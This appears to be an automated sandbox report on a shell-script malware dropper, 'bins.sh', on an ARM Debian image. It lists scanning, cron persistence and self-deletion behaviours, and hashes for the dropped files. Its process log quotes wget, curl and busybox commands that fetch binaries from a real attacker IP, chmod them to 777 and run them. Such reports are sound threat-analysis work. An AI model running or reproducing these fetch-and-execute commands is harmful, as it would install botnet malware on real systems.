Analysis

  • max time kernel
    150s
  • max time network
    187s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    20/11/2024, 04:35

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241120-e7mzvssajp
  • SHA256 d91598cbe809a777eda879117574ae48a38a5e5ce754f73085117b25104ef05a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (2154) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:655
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:657
        • /usr/bin/wget
          wget http://87.120.125.191/bins/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
          2⤵
          • Writes file to tmp directory
          PID:663
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:675
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
          2⤵
          • Writes file to tmp directory
          PID:684
        • /bin/chmod
          chmod 777 fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
          2⤵
          • File and Directory Permissions Modification
          PID:686
        • /tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
          ./fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:687
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:689
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:691
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:692
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:693
              • /bin/rm
                rm fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
                2⤵
                  PID:695
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
                  2⤵
                    PID:698
                  • /usr/bin/curl
                    curl -O http://87.120.125.191/bins/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
                    2⤵
                      PID:699
                    • /bin/busybox
                      /bin/busybox wget http://87.120.125.191/bins/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
                      2⤵
                      • Writes file to tmp directory
                      PID:740
                    • /bin/chmod
                      chmod 777 gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
                      2⤵
                      • File and Directory Permissions Modification
                      PID:785
                    • /tmp/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
                      ./gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
                      2⤵
                      • Executes dropped EXE
                      PID:786
                    • /bin/rm
                      rm gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
                      2⤵
                        PID:788
                      • /usr/bin/wget
                        wget http://87.120.125.191/bins/uvhV9m5KaLeN2x38H0VzxUaS8EUtxlgrsn
                        2⤵
                          PID:789

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G

                            • Path /tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
                            • Size 119KB
                            • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                            • MD5 SHA1 SHA512 SSDEEP

                            gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI

                            • Path /tmp/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
                            • Size 122KB
                            • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                            • MD5 SHA1 SHA512 SSDEEP

                            tmp.NmhYkS

                            • Path /var/spool/cron/crontabs/tmp.NmhYkS
                            • Size 210B
                            • SHA256 3818e4299a8a5e9f5344b8f826398c534dc58fccd4d76043507d5a1c3f2abd8d
                            • MD5 SHA1 SHA512